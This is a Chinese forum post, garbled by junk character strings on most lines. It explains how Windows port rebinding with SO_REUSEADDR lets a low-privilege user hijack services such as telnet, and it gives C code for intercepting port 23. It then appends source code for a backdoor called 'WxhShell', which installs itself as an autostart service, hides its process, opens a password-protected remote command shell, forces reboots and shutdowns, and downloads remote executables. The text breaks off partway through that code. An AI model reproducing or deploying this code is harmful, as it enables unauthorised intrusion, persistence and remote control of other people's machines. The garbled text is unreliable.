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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J0ys Z]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xkqq$A4  
oZD+AF$R  
  saddr.sin_family = AF_INET;  hTEwp.  
pZ_zyI#wx_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F@]9 oF  
)j/2Z-Ev:W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :w!A_~ w2  
_>8rTk`/h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _#UiY ffa*  
9QQiIi$74U  
  这意味着什么?意味着可以进行如下的攻击: Dias!$g  
Wc*jTip  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V-{3)6I$hG  
R ]h3a :ic  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b<\2j5  
ME0vXi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]9 JLu8GO  
R)@2={fd}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :F |ll?  
xU1_L*tu '  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |rgp(;iO  
3s]aXz:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <2n5|.:>  
?XlPK Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {\WRW}iO  
2;wp D2  
  #include >1}@Q(n/}{  
  #include o2 ;  
  #include kqH:H~sgD  
  #include    eh39"s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0.aIcc  
  int main() ]\C wa9  
  { Sl;[9l2  
  WORD wVersionRequested; 2 rFjYx8D!  
  DWORD ret; dwpE(G y6c  
  WSADATA wsaData; RoFOjCc>D.  
  BOOL val; tEN8S]X  
  SOCKADDR_IN saddr; 0!Vza?9  
  SOCKADDR_IN scaddr; aw923wEi  
  int err; kl~)<,/@  
  SOCKET s; UkTq0-N;2  
  SOCKET sc; Ke;eI+P[  
  int caddsize; @!Z1*a.  
  HANDLE mt; H|IG"JB  
  DWORD tid;   b9xvLR8  
  wVersionRequested = MAKEWORD( 2, 2 ); K1+4W=|  
  err = WSAStartup( wVersionRequested, &wsaData ); )ZW[$:wA  
  if ( err != 0 ) { A_\`Gj!s%  
  printf("error!WSAStartup failed!\n"); 68UfuC  
  return -1; B? aMX,1  
  } Op'&c0l  
  saddr.sin_family = AF_INET; g8SVuG<DI\  
   eJ%b"H!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \8Hs[H!  
q^DQ9B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]#\De73K   
  saddr.sin_port = htons(23); : 5X^t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *x &  
  { 'ln o#  
  printf("error!socket failed!\n"); z:ZXdB)L)  
  return -1; EzeU-!|W  
  }  :I{9k~  
  val = TRUE; Ygbyia|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [ [#R ry  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3&!v"ms  
  { Eq?U$eE  
  printf("error!setsockopt failed!\n"); I/*^s  
  return -1; SHYbQF2  
  } ~>#?.f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {pc  (b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x[y}{T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #Dea$  
fm^J-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wVq9t|V  
  { 8 :;]tt  
  ret=GetLastError(); ;nx.:f  
  printf("error!bind failed!\n"); bt};Pn{3  
  return -1; TILH[r&Jg  
  } JvsL]yRT  
  listen(s,2); }BUm}.-{u,  
  while(1) RW<10:  
  { 4?fpk9c{2  
  caddsize = sizeof(scaddr); %g~&$oZmq  
  //接受连接请求 sU+8'&vBp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0v,fY2$c  
  if(sc!=INVALID_SOCKET) zM(-f|wVI)  
  { 8OMMV,QF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AQ?;UDqU  
  if(mt==NULL) nMJ( tQ  
  { f5Hv![x  
  printf("Thread Creat Failed!\n"); >"+ ho  
  break; Q;s {M{u  
  } R,s}<N$  
  } r1Hh @sxn  
  CloseHandle(mt); lWn}afI  
  } 6V"u ovN2  
  closesocket(s); T/.UMw  
  WSACleanup(); XtQwLH+F  
  return 0;  "D'rsEh  
  }   ~.4y* &  
  DWORD WINAPI ClientThread(LPVOID lpParam) &lgzNC9g%  
  { }U(bMo@;  
  SOCKET ss = (SOCKET)lpParam; *b_Iby-ZD  
  SOCKET sc; }4T`)  
  unsigned char buf[4096]; W ' ~s  
  SOCKADDR_IN saddr; ))dw[Xa  
  long num; 1G6 \}El95  
  DWORD val; C+t0Zen  
  DWORD ret; O')=]6CQ*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h;#046-7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5UJ ?1"J  
  saddr.sin_family = AF_INET; DK?Z   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4TI`   
  saddr.sin_port = htons(23); U)M&AYb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *fs[]q'Q  
  { TNckyP75u  
  printf("error!socket failed!\n"); XDAP[V  
  return -1; E+|K3EJ  
  } gj iFpW4  
  val = 100; ACy}w?D<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >9mj/P D  
  { ]imVIu   
  ret = GetLastError(); d'&OEGb<  
  return -1; jhPbh5E  
  } 3d]~e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %wXj P`#  
  { +!W:gA  
  ret = GetLastError(); Wx8:GBM$2  
  return -1; F3K<-JK+  
  } `zrg?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aOw#]pB|  
  { rT=C/SKP  
  printf("error!socket connect failed!\n"); lo1bj*Y2  
  closesocket(sc); \#]C !JQ  
  closesocket(ss); pY[b[ezb  
  return -1; YR? E z<p  
  } |h%HUau  
  while(1) ,(-V<>/*.|  
  { {8qcM8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1Jdx#K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >kxRsiKV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U?d  I  
  num = recv(ss,buf,4096,0); P(FlU]q  
  if(num>0) pg!MtuC}  
  send(sc,buf,num,0); |x.^rx`  
  else if(num==0) oc]:Ty  
  break; ul~6zBKO   
  num = recv(sc,buf,4096,0); =|``d-  
  if(num>0) V ?'p E  
  send(ss,buf,num,0); M>|ZBEK  
  else if(num==0) 4F9!3[}qF  
  break; :4-,Ru1C"  
  } +Adk1N8  
  closesocket(ss); ,*dLE   
  closesocket(sc); 1pg#@h[|t  
  return 0 ; =PQ4S2Q  
  } 3[y$$qXI  
jl>TZ)4}V  
J}[[tl  
========================================================== ~Kt1%&3{a?  
/V{UTMSz  
下边附上一个代码,,WXhSHELL ~;]kqYIJ  
DQ3 L=  
========================================================== `"[qb ?z  
,`RX~ H=C  
#include "stdafx.h" tc/  
9od*N$  
#include <stdio.h> ~c<8;,cjYR  
#include <string.h> S5u$I  
#include <windows.h> cfilH"EK  
#include <winsock2.h> 9Bw#VQ  
#include <winsvc.h> (CRx'R  
#include <urlmon.h> 7M4J{}9  
Z1I.f"XY  
#pragma comment (lib, "Ws2_32.lib") 37kVJQcA1  
#pragma comment (lib, "urlmon.lib") wggB^ }~  
x>B\2;  
#define MAX_USER   100 // 最大客户端连接数 ^\Z+Xq1~/  
#define BUF_SOCK   200 // sock buffer 4ryG_p52l  
#define KEY_BUFF   255 // 输入 buffer 1KrJS(.  
akt7rnt?i  
#define REBOOT     0   // 重启 hrq% {!Z  
#define SHUTDOWN   1   // 关机 \?R#ZxP@  
W90!*1  
#define DEF_PORT   5000 // 监听端口 J9!/C#Fm  
YC8IwyL'  
#define REG_LEN     16   // 注册表键长度 yU&;\'  
#define SVC_LEN     80   // NT服务名长度 - z+,j(@  
>V?0#f45@  
// 从dll定义API * 30K}&T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O=V_ 7I5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RqGX(Iuv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +a^gC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y]+5Y.Cw$  
_~;%zFX  
// wxhshell配置信息 KcpYHWCa.  
struct WSCFG { \u{4=-C.  
  int ws_port;         // 监听端口 [.fh2XrVM  
  char ws_passstr[REG_LEN]; // 口令 G 3,v'D5  
  int ws_autoins;       // 安装标记, 1=yes 0=no #"KC29!Yj  
  char ws_regname[REG_LEN]; // 注册表键名 ]"HaE-`%  
  char ws_svcname[REG_LEN]; // 服务名 #@OPi6.#!<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GW'v\O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #:0-t!<0C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [ 5}Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nj3iZD|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u%e~a]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pb>/b\&JS  
po*8WSl9c[  
}; 6];3h>c]N  
r!dWI  
// default Wxhshell configuration QK+,63@D\=  
struct WSCFG wscfg={DEF_PORT, I/tMFg  
    "xuhuanlingzhe", ap )B%9  
    1, rkR5>S( 2M  
    "Wxhshell", 3~tu\TH6d  
    "Wxhshell", i(;`x  
            "WxhShell Service", (1[59<cg]  
    "Wrsky Windows CmdShell Service", FMeBsI9pL  
    "Please Input Your Password: ", |xcI~ X7Q  
  1, M yHv>  
  "http://www.wrsky.com/wxhshell.exe", cbyzZ#WRb  
  "Wxhshell.exe" p9?kJKN  
    }; @9KW ]7  
-)oUb=Lk{  
// 消息定义模块 [,Go*r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }' AY#g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #l4T/`u'9!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KH;~VR8"/  
char *msg_ws_ext="\n\rExit."; Dho6N]86r  
char *msg_ws_end="\n\rQuit."; t kj  
char *msg_ws_boot="\n\rReboot..."; T9Q3I  
char *msg_ws_poff="\n\rShutdown..."; o= ($'(1  
char *msg_ws_down="\n\rSave to ";  &Q~W{.  
D?1fY!C:r  
char *msg_ws_err="\n\rErr!"; ft(o-f7,  
char *msg_ws_ok="\n\rOK!"; Xj/z),  
*"8Ls0!  
char ExeFile[MAX_PATH]; n_km]~  
int nUser = 0; ? /z[Jx.  
HANDLE handles[MAX_USER]; zZCRej  
int OsIsNt; xt5/`C  
;C$+8%P4  
SERVICE_STATUS       serviceStatus; i>YQ<A1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; - C q;  
R>"Fc/{y  
// 函数声明 e9h@G#  
int Install(void); YP_L~zZ  
int Uninstall(void); X%5eZ"1{x  
int DownloadFile(char *sURL, SOCKET wsh); H/*ol^X7  
int Boot(int flag); 7:u+cv  
void HideProc(void); hOAZvrfQ4  
int GetOsVer(void); /VT/KT{  
int Wxhshell(SOCKET wsl); -Y/i h(I^  
void TalkWithClient(void *cs); O+=%Mz(l  
int CmdShell(SOCKET sock); 4kM/`g6?,q  
int StartFromService(void); U*$P"sS`  
int StartWxhshell(LPSTR lpCmdLine); xrg?{*\  
hvw9i7#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >Dr(%z6CN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KN|<yF   
}<A.zwB<i  
// 数据结构和表定义 Cr7Zi>sd<!  
SERVICE_TABLE_ENTRY DispatchTable[] = [UzD3VPg  
{ ~#*C,4m  
{wscfg.ws_svcname, NTServiceMain}, *pJGp:{6V?  
{NULL, NULL} Yao}Xo9}  
}; f?sm~PwC-  
R}Lk$#S#  
// 自我安装 >J:=)1`  
int Install(void) 4$&l`yWU+  
{ /=/Ki%hh  
  char svExeFile[MAX_PATH]; nL:&G'd  
  HKEY key; `]eJF|"  
  strcpy(svExeFile,ExeFile); w I_@  
QE(.w dHP  
// 如果是win9x系统,修改注册表设为自启动 ?8V.iHJk  
if(!OsIsNt) { eTx9fx w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }R['Zoh4I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [v"Z2F<.=  
  RegCloseKey(key); \tI%[g1M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~U]g;u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;AEfU^[  
  RegCloseKey(key); }UW7py!TN  
  return 0; luf5-XT  
    } I$xZV?d.  
  } /IUu-/ D  
} :jl*Y-mM  
else { C:J;'[,S  
XA2Ld  
// 如果是NT以上系统,安装为系统服务 NZq-%bE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CjQO5  
if (schSCManager!=0) [b3!H{b#  
{ \#9LwC"8;  
  SC_HANDLE schService = CreateService MuY:(zC%  
  ( %PYl  
  schSCManager, crM5&L9zF  
  wscfg.ws_svcname, 4!Js="  
  wscfg.ws_svcdisp, %hnBpz  
  SERVICE_ALL_ACCESS, sxREk99lL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a+^` +p/5  
  SERVICE_AUTO_START, AatSN@,~z  
  SERVICE_ERROR_NORMAL, ,5n!a.T  
  svExeFile, } GB~3 J  
  NULL, '8X>,un  
  NULL, S 5S\zTPIf  
  NULL, ~wb1sn3  
  NULL, v03cQw\"WE  
  NULL i<Vc~ !pT  
  ); m@2E ~m  
  if (schService!=0) \cIN]=#  
  { gpV4qDXV  
  CloseServiceHandle(schService); lYx_8x2  
  CloseServiceHandle(schSCManager); Zo3!Hs ZA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FQ< -Wc  
  strcat(svExeFile,wscfg.ws_svcname); +94)BxrY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $xbC^ k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZLkl:'E_  
  RegCloseKey(key); )O1]|r7v  
  return 0; Xsq@E#@S  
    } *'/,  
  } P>7Xbm,VP  
  CloseServiceHandle(schSCManager); k)p` x"To  
} B@,r8)D  
} ?*fa5=ql  
Ww]$zd-bo  
return 1; 6 R6Ub 0  
} $p0nq&4c  
A WR :~{  
// 自我卸载 mk>; 3m*  
int Uninstall(void) RaJTya^  
{ v ccH(T  
  HKEY key; hhTtxC<:  
E=sh^Q(A  
if(!OsIsNt) {  >;fVuy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OdzeHpH3g  
  RegDeleteValue(key,wscfg.ws_regname); /%T/@y  
  RegCloseKey(key); |p|Zv H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ds`e-X)O;\  
  RegDeleteValue(key,wscfg.ws_regname); 2@|`Ugjptl  
  RegCloseKey(key); ]EiM~n  
  return 0; e HphM;C  
  } !7N:cx'Qy  
} F5o8@ Ib]:  
} = L!&Z  
else { U%q)T61  
KYFKH+d>m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y+?QHtZL  
if (schSCManager!=0) Q"QRF5Ue  
{ ewMVUq*:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F]$ Nu  
  if (schService!=0) 37U8<  
  { Ni_H1G  
  if(DeleteService(schService)!=0) { @ st>#]i4  
  CloseServiceHandle(schService); BhJ>G%  
  CloseServiceHandle(schSCManager); B"^j>SF  
  return 0; p _gN}v  
  } _{*} )&!M  
  CloseServiceHandle(schService); ZbFD|~[ V  
  } b fxE}>  
  CloseServiceHandle(schSCManager); 5nG\J g7  
} "Lp.*o  
} W5R/Ub@g  
ng1E'c]0@  
return 1; k<9,Ypa  
} "-4|HA  
tr0b#4  
// 从指定url下载文件 H,7='n7"  
int DownloadFile(char *sURL, SOCKET wsh) "#d$$ 8  
{ P3oYk_oW  
  HRESULT hr; &[ })FI  
char seps[]= "/"; D;,p?]mgO~  
char *token; `Skvqo(5:  
char *file; jD S?p)&  
char myURL[MAX_PATH]; e={O&9Z  
char myFILE[MAX_PATH]; aHhLz>H'  
 ?8>a;0  
strcpy(myURL,sURL); =E-x0sr?  
  token=strtok(myURL,seps); '@n"'vks(\  
  while(token!=NULL) /`PYk]mJh  
  { {wS i?;[Gq  
    file=token; ;z:Rj}l  
  token=strtok(NULL,seps); v{" nyW6#  
  } SoIK<*J  
$fb%?n{  
GetCurrentDirectory(MAX_PATH,myFILE); &CG94  
strcat(myFILE, "\\"); R?wZ\y Ks}  
strcat(myFILE, file); @2Z|\ojJ  
  send(wsh,myFILE,strlen(myFILE),0); iJ>=!Q  
send(wsh,"...",3,0); +t7HlAXB#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IFLphm5  
  if(hr==S_OK) ql?w6qFs]  
return 0; </I%VHP,[f  
else > X~\(|EM  
return 1; uLdHE5vr  
 5wK==hZ  
} s< tG  
u Kx:7"KD  
// 系统电源模块 }8O9WS  
int Boot(int flag) 0|GYtnd  
{ _/>ktYo:  
  HANDLE hToken; "aGmv9\  
  TOKEN_PRIVILEGES tkp; ?$pNduE  
@nH3nn  
  if(OsIsNt) { w-).HPe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jFQy[k-B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m(f`=+lqI`  
    tkp.PrivilegeCount = 1; zw<<st Bp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4H 6t" X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h,[L6-n  
if(flag==REBOOT) { xU;SRB   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7gX32r$%V  
  return 0; l$u52e!7  
} '/GB8L  
else { tQ }GTqk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g ~<[;6&{  
  return 0; -@AhJY.  
} `^#Rwn#  
  } o[;P@F  
  else { r\m{;Z#LJm  
if(flag==REBOOT) { 4" ?`p;{Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lg\3DzM  
  return 0; w1< pQ[A  
} RE!WuLs0"  
else { +*.*bo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Kx.v'  
  return 0; 8GkWo8rPk  
} k}LIMkEa4a  
} \>$zxC_  
Zbo4{.#  
return 1; ZK4V-?/[6  
} g}~s"Sz  
bK "I9T #  
// win9x进程隐藏模块 DY`0 `T  
void HideProc(void) 3Ei^WDJ  
{ W[jg+|  
0\i\G|5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gs#9'3_U5  
  if ( hKernel != NULL ) &>-'|(m+2  
  { u^Cl s!C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tM LiG4 |7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g9C-!X-<T  
    FreeLibrary(hKernel); #X] *kxQ<  
  } T4x%3-4 ;  
x& _Y( bHA  
return; wPU5L*/*i  
} Y6wr}U  
$mxG-'x%K  
// 获取操作系统版本 :{<|,3oNdR  
int GetOsVer(void) WvU[9ME^)  
{ X -1r$.  
  OSVERSIONINFO winfo; LR&MhG7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i, ^-9  
  GetVersionEx(&winfo); X au %v5r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o?]Q&,tO  
  return 1; @<DRFP  
  else :%sG'_d  
  return 0; 9>{ml&$  
} @+;.W>^h  
.i\ FK@2  
// 客户端句柄模块 ;)ay uS sQ  
int Wxhshell(SOCKET wsl) H[w';u[%  
{ G=qlE?j`j  
  SOCKET wsh; FqyxvL.  
  struct sockaddr_in client; ,{IDf  
  DWORD myID; :X":>M;;+  
o2|#_tGNUy  
  while(nUser<MAX_USER) 7 \xCNOKh  
{ T6y~iNd<  
  int nSize=sizeof(client); kRggVRM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *L?~  
  if(wsh==INVALID_SOCKET) return 1; cvw17j  
4UbqYl3 |a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aVr(*s;/  
if(handles[nUser]==0) '(iPI  
  closesocket(wsh); >~d'i  
else 5[2kk5,  
  nUser++; P}'B~ ~9W  
  } uznqq}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }#g]qK  
OGEe8Z9Jt  
  return 0; <uU<qO;6  
} ="G2I\  
7j|CWurvq  
// 关闭 socket i&(1 <S>P  
void CloseIt(SOCKET wsh) L0VZ>!*o  
{ H8g 6ZCU~  
closesocket(wsh); .Z]hS7t  
nUser--; ;u`8pF!_eE  
ExitThread(0); !,$K;L  
} Bor_(eL^  
RaLV@>jPm  
// 客户端请求句柄 Z<<=2Xl(  
void TalkWithClient(void *cs) uPho|hDp  
{ o w(9dB&E  
t=eI*M+>h  
  SOCKET wsh=(SOCKET)cs; UZsvYy?  
  char pwd[SVC_LEN]; DhxS@/  
  char cmd[KEY_BUFF]; `JV(ae0  
char chr[1]; U=%(kOx  
int i,j; :~vg'v~C  
{KDN|o+%  
  while (nUser < MAX_USER) { Sg%s\p]N_#  
~jJ.E_i  
if(wscfg.ws_passstr) { /0>'ZzjV,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6RIbsy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N, u]2,E  
  //ZeroMemory(pwd,KEY_BUFF); {oOUIP  
      i=0; $+2QbEk&-  
  while(i<SVC_LEN) { %qsl<_&  
] 0L=+=w  
  // 设置超时 ZweAY.]e  
  fd_set FdRead; {nM1$  
  struct timeval TimeOut; |[r7B*fw  
  FD_ZERO(&FdRead); kE6/d,  
  FD_SET(wsh,&FdRead); FaJK R  
  TimeOut.tv_sec=8; *]/iL#  
  TimeOut.tv_usec=0; Slo^tqbG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )AEtW[~D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bGB$a0  
3ouy-SQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k)z>9z%D  
  pwd=chr[0]; ;jx[  +  
  if(chr[0]==0xd || chr[0]==0xa) { ^?]-Q*w3Qs  
  pwd=0; ?=)lbSu K  
  break; Y8%l)g  
  } $XcH.z  
  i++; AJ}m2EH  
    } LV1drc  
iM7 ^  
  // 如果是非法用户,关闭 socket o%-KO? YW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S;t`C~l\  
} T_s09Wl  
\ ^pc"?Rc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dYOY8r/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mb"y{Fox  
k8J zey]X  
while(1) { oM>UIDCY_v  
AMB{Fssz  
  ZeroMemory(cmd,KEY_BUFF); J:'_S `J  
z80(+ `   
      // 自动支持客户端 telnet标准   y5c\\e  
  j=0; ,%A|:T]  
  while(j<KEY_BUFF) { #mJRL[V5^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X'\h^\yOo  
  cmd[j]=chr[0]; R<I#. KD  
  if(chr[0]==0xa || chr[0]==0xd) { E;`^`T40  
  cmd[j]=0; ]jI<Js* F  
  break; G2y1S/  
  } rS!@AgPLE  
  j++; :Hb`vH3 x  
    } /? d)01  
pdFO!A_t  
  // 下载文件 |Wa.W0A  
  if(strstr(cmd,"http://")) { qGhg?u"n:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WqM| nX  
  if(DownloadFile(cmd,wsh)) i/C% 1<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cGm?F,/`  
  else )RTWt`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &ID! lEd  
  } 78*8-  
  else { sMVk]Mb  
9fs-|E[5  
    switch(cmd[0]) { Vp1ct06^  
  a6xo U;T  
  // 帮助 UpD4'!<buV  
  case '?': { %t6-wWM97  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "doiD=b  
    break; dPpJDY0  
  } {A< 961  
  // 安装 h|PC?@jp  
  case 'i': { cR!M{U.q  
    if(Install()) Hn(Eut7%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G 0Z5h  
    else Vg,nNa3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \K"7U  
    break; ZDL1H3;R  
    } QL7.QG  
  // 卸载 qs\Cwn!  
  case 'r': { y]PuY \+  
    if(Uninstall()) | @ ut/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [aA@V0l  
    else fwA8=o SZd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L58#ri=  
    break; C+M]"{Y+  
    } xDl; tFI  
  // 显示 wxhshell 所在路径 4sO Rp^t'Q  
  case 'p': { NZZy^p&O  
    char svExeFile[MAX_PATH]; M:oM(K+  
    strcpy(svExeFile,"\n\r"); $kN=45SR  
      strcat(svExeFile,ExeFile); =NY55t.  
        send(wsh,svExeFile,strlen(svExeFile),0); hi$AZ+  
    break; ^>ir&$  
    } ia_@fQ  
  // 重启 \\13n4fAv  
  case 'b': { DrioBb@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G9Kck|50  
    if(Boot(REBOOT)) uxDM #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } LC  
    else { (K8Ob3zN_  
    closesocket(wsh); ![Gn0X?]  
    ExitThread(0); 4'`P+p"A  
    } i\^4EQ  
    break; S2\;\?]^~  
    } 5rbb ,*  
  // 关机 +XO\#$o>W  
  case 'd': { -n[(0n3c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [[^95:  
